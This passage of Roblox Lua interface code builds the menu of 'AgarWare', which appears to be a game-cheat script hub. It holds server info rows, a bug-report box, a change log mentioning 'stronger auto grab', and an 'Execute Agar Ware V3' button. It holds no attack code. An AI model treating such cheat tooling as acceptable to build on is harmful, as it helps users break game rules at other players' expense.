G2L["2cb"]["BorderSizePixel"] = 0;
G2L["2cb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2cb"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2cb"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2cb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2cb"]["Name"] = [[PlayersRow]];
G2L["2cb"]["LayoutOrder"] = 1;
G2L["2cb"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.PlayersRow.Text
G2L["2cc"] = Instance.new("TextLabel", G2L["2cb"]);
G2L["2cc"]["BorderSizePixel"] = 0;
G2L["2cc"]["TextSize"] = 14;
G2L["2cc"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2cc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2cc"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2cc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2cc"]["BackgroundTransparency"] = 1;
G2L["2cc"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2cc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2cc"]["Text"] = [[👥 Players:]];
G2L["2cc"]["Name"] = [[Text]];
G2L["2cc"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.RegionRow
G2L["2cd"] = Instance.new("Frame", G2L["2c5"]);
G2L["2cd"]["BorderSizePixel"] = 0;
G2L["2cd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2cd"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2cd"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2cd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2cd"]["Name"] = [[RegionRow]];
G2L["2cd"]["LayoutOrder"] = 2;
G2L["2cd"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.RegionRow.Text
G2L["2ce"] = Instance.new("TextLabel", G2L["2cd"]);
G2L["2ce"]["BorderSizePixel"] = 0;
G2L["2ce"]["TextSize"] = 14;
G2L["2ce"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2ce"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ce"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ce"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ce"]["BackgroundTransparency"] = 1;
G2L["2ce"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2ce"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ce"]["Text"] = [[🌐 Region:]];
G2L["2ce"]["Name"] = [[Text]];
G2L["2ce"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.UptimeRow
G2L["2cf"] = Instance.new("Frame", G2L["2c5"]);
G2L["2cf"]["BorderSizePixel"] = 0;
G2L["2cf"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2cf"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2cf"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2cf"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2cf"]["Name"] = [[UptimeRow]];
G2L["2cf"]["LayoutOrder"] = 3;
G2L["2cf"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.UptimeRow.Text
G2L["2d0"] = Instance.new("TextLabel", G2L["2cf"]);
G2L["2d0"]["BorderSizePixel"] = 0;
G2L["2d0"]["TextSize"] = 14;
G2L["2d0"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2d0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d0"]["BackgroundTransparency"] = 1;
G2L["2d0"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2d0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d0"]["Text"] = [[⌛ Uptime:]];
G2L["2d0"]["Name"] = [[Text]];
G2L["2d0"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.LatencyRow
G2L["2d1"] = Instance.new("Frame", G2L["2c5"]);
G2L["2d1"]["BorderSizePixel"] = 0;
G2L["2d1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d1"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2d1"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2d1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d1"]["Name"] = [[LatencyRow]];
G2L["2d1"]["LayoutOrder"] = 4;
G2L["2d1"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.LatencyRow.Text
G2L["2d2"] = Instance.new("TextLabel", G2L["2d1"]);
G2L["2d2"]["BorderSizePixel"] = 0;
G2L["2d2"]["TextSize"] = 14;
G2L["2d2"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2d2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d2"]["BackgroundTransparency"] = 1;
G2L["2d2"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2d2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d2"]["Text"] = [[📶 Latency:]];
G2L["2d2"]["Name"] = [[Text]];
G2L["2d2"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup
G2L["2d3"] = Instance.new("Frame", G2L["2c3"]);
G2L["2d3"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["2d3"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["2d3"]["Size"] = UDim2.new(0, 170, 0, 187);
G2L["2d3"]["Position"] = UDim2.new(0, 0, 0.38333, 0);
G2L["2d3"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2d3"]["Name"] = [[SuggestionGroup]];
G2L["2d3"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionScript
G2L["2d4"] = Instance.new("LocalScript", G2L["2d3"]);
G2L["2d4"]["Name"] = [[SuggestionScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.UIListLayout
G2L["2d5"] = Instance.new("UIListLayout", G2L["2d3"]);
G2L["2d5"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionAccentColor
G2L["2d6"] = Instance.new("Frame", G2L["2d3"]);
G2L["2d6"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2d6"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["2d6"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["2d6"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["2d6"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["2d6"]["Name"] = [[SuggestionAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionTitle
G2L["2d7"] = Instance.new("TextLabel", G2L["2d3"]);
G2L["2d7"]["TextWrapped"] = true;
G2L["2d7"]["BorderSizePixel"] = 0;
G2L["2d7"]["TextSize"] = 14;
G2L["2d7"]["TextScaled"] = true;
G2L["2d7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d7"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["2d7"]["BackgroundTransparency"] = 0.95;
G2L["2d7"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["2d7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d7"]["Text"] = [[Suggestions/Bugs]];
G2L["2d7"]["LayoutOrder"] = 1;
G2L["2d7"]["Name"] = [[SuggestionTitle]];
G2L["2d7"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionTitle.SuggestionMinimize
G2L["2d8"] = Instance.new("TextButton", G2L["2d7"]);
G2L["2d8"]["BorderSizePixel"] = 0;
G2L["2d8"]["TextSize"] = 14;
G2L["2d8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d8"]["BackgroundTransparency"] = 1;
G2L["2d8"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["2d8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d8"]["Text"] = [[-]];
G2L["2d8"]["Name"] = [[SuggestionMinimize]];
G2L["2d8"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.TitleRow
G2L["2d9"] = Instance.new("Frame", G2L["2d3"]);
G2L["2d9"]["BorderSizePixel"] = 0;
G2L["2d9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d9"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2d9"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2d9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d9"]["Name"] = [[TitleRow]];
G2L["2d9"]["LayoutOrder"] = 1;
G2L["2d9"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.TitleRow.SuggestText
G2L["2da"] = Instance.new("TextLabel", G2L["2d9"]);
G2L["2da"]["BorderSizePixel"] = 0;
G2L["2da"]["TextSize"] = 14;
G2L["2da"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2da"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2da"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2da"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2da"]["BackgroundTransparency"] = 1;
G2L["2da"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2da"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2da"]["Text"] = [[READ ME]];
G2L["2da"]["Name"] = [[SuggestText]];
G2L["2da"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.TitleRow.SuggestHelp
G2L["2db"] = Instance.new("TextButton", G2L["2d9"]);
G2L["2db"]["TextSize"] = 14;
G2L["2db"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["2db"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["2db"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["2db"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2db"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["2db"]["Text"] = [[?]];
G2L["2db"]["Name"] = [[SuggestHelp]];
G2L["2db"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.MessageRow
G2L["2dc"] = Instance.new("Frame", G2L["2d3"]);
G2L["2dc"]["BorderSizePixel"] = 0;
G2L["2dc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2dc"]["Size"] = UDim2.new(0, 169, 0, 124);
G2L["2dc"]["Position"] = UDim2.new(0.00294, 0, 0.23148, 0);
G2L["2dc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2dc"]["Name"] = [[MessageRow]];
G2L["2dc"]["LayoutOrder"] = 3;
G2L["2dc"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.MessageRow.MessageBox
G2L["2dd"] = Instance.new("TextBox", G2L["2dc"]);
G2L["2dd"]["Name"] = [[MessageBox]];
G2L["2dd"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2dd"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2dd"]["TextWrapped"] = true;
G2L["2dd"]["TextSize"] = 12;
G2L["2dd"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2dd"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2dd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2dd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2dd"]["ClearTextOnFocus"] = false;
G2L["2dd"]["PlaceholderText"] = [[write any bugs or suggestions...]];
G2L["2dd"]["Size"] = UDim2.new(0, 161, 0, 117);
G2L["2dd"]["Position"] = UDim2.new(0.02367, 0, 0.04114, 0);
G2L["2dd"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2dd"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SendRow
G2L["2de"] = Instance.new("Frame", G2L["2d3"]);
G2L["2de"]["BorderSizePixel"] = 0;
G2L["2de"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2de"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2de"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2de"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2de"]["Name"] = [[SendRow]];
G2L["2de"]["LayoutOrder"] = 4;
G2L["2de"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SendRow.SendButton
G2L["2df"] = Instance.new("TextButton", G2L["2de"]);
G2L["2df"]["TextSize"] = 14;
G2L["2df"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2df"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["2df"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2df"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["2df"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2df"]["Text"] = [[Send Message]];
G2L["2df"]["Name"] = [[SendButton]];
G2L["2df"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3
G2L["2e0"] = Instance.new("Frame", G2L["2c3"]);
G2L["2e0"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["2e0"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["2e0"]["Size"] = UDim2.new(0, 170, 0, 46);
G2L["2e0"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2e0"]["Name"] = [[V3]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Script
G2L["2e1"] = Instance.new("LocalScript", G2L["2e0"]);
G2L["2e1"]["Name"] = [[Script]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.UIListLayout
G2L["2e2"] = Instance.new("UIListLayout", G2L["2e0"]);
G2L["2e2"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.V3AccentColor
G2L["2e3"] = Instance.new("Frame", G2L["2e0"]);
G2L["2e3"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2e3"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["2e3"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["2e3"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["2e3"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["2e3"]["Name"] = [[V3AccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Title
G2L["2e4"] = Instance.new("TextLabel", G2L["2e0"]);
G2L["2e4"]["TextWrapped"] = true;
G2L["2e4"]["BorderSizePixel"] = 0;
G2L["2e4"]["TextSize"] = 12;
G2L["2e4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2e4"]["FontFace"] = Font.new([[rbxasset://fonts/families/PressStart2P.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2e4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2e4"]["BackgroundTransparency"] = 0.95;
G2L["2e4"]["RichText"] = true;
G2L["2e4"]["Size"] = UDim2.new(0, 169, 0, 18);
G2L["2e4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e4"]["Text"] = [[AGAR WARE V3 | PRE ALPHA]];
G2L["2e4"]["LayoutOrder"] = 1;
G2L["2e4"]["Name"] = [[Title]];
G2L["2e4"]["Position"] = UDim2.new(0.00294, 0, 0.02427, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Title.texteffects
G2L["2e5"] = Instance.new("LocalScript", G2L["2e4"]);
G2L["2e5"]["Name"] = [[texteffects]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.execute
G2L["2e6"] = Instance.new("Frame", G2L["2e0"]);
G2L["2e6"]["BorderSizePixel"] = 0;
G2L["2e6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2e6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2e6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2e6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e6"]["Name"] = [[execute]];
G2L["2e6"]["LayoutOrder"] = 4;
G2L["2e6"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.execute.script
G2L["2e7"] = Instance.new("LocalScript", G2L["2e6"]);
G2L["2e7"]["Name"] = [[script]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.execute.executebutton
G2L["2e8"] = Instance.new("TextButton", G2L["2e6"]);
G2L["2e8"]["TextSize"] = 14;
G2L["2e8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2e8"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["2e8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2e8"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["2e8"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2e8"]["Text"] = [[Execute Agar Ware V3]];
G2L["2e8"]["Name"] = [[executebutton]];
G2L["2e8"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide
G2L["2e9"] = Instance.new("Frame", G2L["2c2"]);
G2L["2e9"]["BorderSizePixel"] = 0;
G2L["2e9"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["2e9"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["2e9"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["2e9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e9"]["Name"] = [[MenuRightSide]];
G2L["2e9"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UIListLayout
G2L["2ea"] = Instance.new("UIListLayout", G2L["2e9"]);
G2L["2ea"]["Padding"] = UDim.new(0, 7);
G2L["2ea"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup
G2L["2eb"] = Instance.new("Frame", G2L["2e9"]);
G2L["2eb"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["2eb"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["2eb"]["Size"] = UDim2.new(0, 170, 0, 131);
G2L["2eb"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2eb"]["Name"] = [[UpLogsGroup]];
G2L["2eb"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsScript
G2L["2ec"] = Instance.new("LocalScript", G2L["2eb"]);
G2L["2ec"]["Name"] = [[UpLogsScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UIListLayout
G2L["2ed"] = Instance.new("UIListLayout", G2L["2eb"]);
G2L["2ed"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsAccentColor
G2L["2ee"] = Instance.new("Frame", G2L["2eb"]);
G2L["2ee"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2ee"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["2ee"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["2ee"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["2ee"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["2ee"]["Name"] = [[UpLogsAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsTitle
G2L["2ef"] = Instance.new("TextLabel", G2L["2eb"]);
G2L["2ef"]["TextWrapped"] = true;
G2L["2ef"]["BorderSizePixel"] = 0;
G2L["2ef"]["TextSize"] = 14;
G2L["2ef"]["TextScaled"] = true;
G2L["2ef"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ef"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ef"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["2ef"]["BackgroundTransparency"] = 0.95;
G2L["2ef"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["2ef"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ef"]["Text"] = [[Change Log]];
G2L["2ef"]["LayoutOrder"] = 1;
G2L["2ef"]["Name"] = [[UpLogsTitle]];
G2L["2ef"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsTitle.UpLogsMinimize
G2L["2f0"] = Instance.new("TextButton", G2L["2ef"]);
G2L["2f0"]["BorderSizePixel"] = 0;
G2L["2f0"]["TextSize"] = 14;
G2L["2f0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f0"]["BackgroundTransparency"] = 1;
G2L["2f0"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["2f0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f0"]["Text"] = [[-]];
G2L["2f0"]["Name"] = [[UpLogsMinimize]];
G2L["2f0"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow
G2L["2f1"] = Instance.new("Frame", G2L["2eb"]);
G2L["2f1"]["BorderSizePixel"] = 0;
G2L["2f1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f1"]["Size"] = UDim2.new(0, 169, 0, 91);
G2L["2f1"]["Position"] = UDim2.new(0.00294, 0, 0.15217, 0);
G2L["2f1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f1"]["Name"] = [[ScrollingRow]];
G2L["2f1"]["LayoutOrder"] = 2;
G2L["2f1"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame
G2L["2f2"] = Instance.new("ScrollingFrame", G2L["2f1"]);
G2L["2f2"]["Active"] = true;
G2L["2f2"]["CanvasSize"] = UDim2.new(0, 0, 12, 0);
G2L["2f2"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["2f2"]["Size"] = UDim2.new(0, 152, 0, 103);
G2L["2f2"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f2"]["Position"] = UDim2.new(0.05325, 0, 0.03516, 0);
G2L["2f2"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2f2"]["ScrollBarThickness"] = 10;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8
G2L["2f3"] = Instance.new("Frame", G2L["2f2"]);
G2L["2f3"]["BorderSizePixel"] = 0;
G2L["2f3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f3"]["Size"] = UDim2.new(0, 152, 0, 103);
G2L["2f3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f3"]["Name"] = [[V2.8]];
G2L["2f3"]["LayoutOrder"] = 1000;
G2L["2f3"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.Text
G2L["2f4"] = Instance.new("TextLabel", G2L["2f3"]);
G2L["2f4"]["TextWrapped"] = true;
G2L["2f4"]["BorderSizePixel"] = 0;
G2L["2f4"]["TextSize"] = 12;
G2L["2f4"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2f4"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["2f4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f4"]["BackgroundTransparency"] = 1;
G2L["2f4"]["RichText"] = true;
G2L["2f4"]["Size"] = UDim2.new(0, 133, 0, 76);
G2L["2f4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f4"]["Text"] = [[===== v2.7 > v2.8<br />New Features - New menu page and server status. New Tools setection (TCO).<br />Bug Fixes - Stronger auto grab (TCO).<br />=====]];
G2L["2f4"]["Name"] = [[Text]];
G2L["2f4"]["Position"] = UDim2.new(0.04605, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.UIListLayout
G2L["2f5"] = Instance.new("UIListLayout", G2L["2f2"]);
G2L["2f5"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.ScrollingRow.ScrollingFrame.V2.8.1
G2L["2f6"] = Instance.new("Frame", G2L["2f2"]);
G2L["2f6"]["BorderSizePixel"] = 0;
G2L["2f6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f6"]["Size"] = UDim2.new(0, 152, 0, 54);
G2L["2f6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f6"]["Name"] = [[V2.8.1]];
G2L["2f6"]["LayoutOrder"] = 999;
G2L["2f6"]["BackgroundTransparency"] = 1;


